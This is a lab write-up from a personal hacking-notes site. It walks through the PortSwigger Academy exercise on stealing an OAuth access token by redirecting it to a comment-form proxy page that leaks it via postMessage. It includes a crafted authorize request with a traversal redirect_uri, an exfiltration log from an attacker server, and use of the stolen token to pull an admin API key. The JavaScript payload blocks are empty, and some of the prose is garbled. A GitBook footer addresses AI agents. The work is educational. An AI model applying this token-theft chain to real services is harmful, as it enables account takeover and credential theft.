> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/web/oauth-authentication/oauth-access-token-theft-via-proxy-page.md).
# OAuth Access Token Theft via Proxy Page
OAuth Access Token Theft via Proxy Page notes for PortSwigger Web Security Academy labs, including exploitation workflow, payload testing, Burp Suite validation, and remediation context.
### Stealing OAuth Access Tokens via a Proxy Page
**Lab objective**
This lab implements an OAuth service allowing authentication via a social network. / Insufficient vendor-side validation OAuth allows us to **direct the access token to an arbitrary page of the client application**.
The objective is:
* identify **a secondary vulnerability** in the client application,
* to use as **proxy page** to exfil the administrator's OAuth access token,
* and then use this token to recover \*\*l
" The administrator will open any content sent from the operating server and already has an active OAuth session.
\*\* Client application analysis\*\*
A \*\* comment area\*\* is observed under blog articles.
When loading the comment form, a GET request is sent to
```http
GET /post/comment/comment-form
```
The form is loaded into a **iframe**, which is visible in the source code of the post page:
{% code overflow="wrap" %}
```javascript
```
{% endcode %}
**Interesting JavaScript behaviour**
The form takes in a revealing JavaScript script:
```javascript
```
Key Points:
* The script \*\* reads the URL fragment (`#`)\*\*.
* It sends its content to the parent page via `postMessage`.
* This makes it possible to *make an OAuth token present in the fragment*\*.
The comment form can therefore be used as **proxy page**.
**OAuth Exploitation via Implicit Flow**
The OAuth redirect is modified to point to the comment form:
```bash
/../post/comment/comment-form
```
Example of a handled OAuth query:
```bash
GET /auth?client_id=bovgn6pnqo8u6y8pbvfsg&redirect_uri=https://0af800750488e51e80e41cce000900fd.web-security-academy.net/oauth-callback../post/comment/comment-form&response_type=token&nonce=-1640208972&scope=openid%20profile%20email
```
After authentication, the OAuth server redirects to:
* /post/comment/comment-form#access/\_token=ykNiftpsUeqLcCU-YsLcTQV40mETdrpdDeEIn8TpxFU
The **jeton is therefore exposed in the URL fragment** and then transmitted to the parent via `postMessage`.
**Payload sent to victim**
From the operating server, we send the following content:
```javascript
```
Operation:
* Liframe triggers the implicit OAuth flow.
* The token is injected into the URL fragment.
* The comment form sent via `postMessage`.
* The script captures it and exfils it to the operating server.
**Token recovery**
In the operating server logs:
{% code overflow="wrap" %}
```bash
10.0.3.168 2026-01-02 20:09:43 +0000 "GET /https%3A%2F%2F0a8100e3034ba84780b9171a008800f5.web-security-academy.net%2Fpost%2Fcomment%2Fcomment-form%23access_token%3D0PVBpvJwVQWGtaF7uKFUxCNLayxgK5pbFrUPdEwZ5Qn%26expires_in%3D3600%26token_type%3DBearer%26scope%3Dopenid%2520profile%2520email HTTP/1.1" 404 "user-agent: Mozilla/5.0 (Victim) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36"
```
{% endcode %}
After decoding URL, the token is:
* 0PVBpvJwVQWGtaF7uKFUxCNLayxgK5pbFrUPdEwZ5Qn
**Access to API with stolen token**
The token is used to call the OAuth supplier `/me` endpoint
```http
GET /me HTTP/2
Host: oauth-0a65002f03f8a82f809a152b022a0086.oauth-server.net
Authorization: Bearer 0PVBpvJwVQWGtaF7uKFUxCNLayxgK5pbFrUPdEwZ5Qn
Content-Type: application/json
```
Answer
{% code overflow="wrap" expandable="true" %}
```json
{
"sub":"administrator",
"apikey":"yQ9EksfkSsCZbuivwJ4VLCnR9rrRmH5r",
"name":"Administrator",
"email":"administrator@normal-user.net",
"email_verified":true
}
```
{% endcode %}
**Result**
* The administrator's OAuth token was stolen.
* API key administrator was recovered.
* The lab is successfully validated.
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/web/oauth-authentication/oauth-access-token-theft-via-proxy-page.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
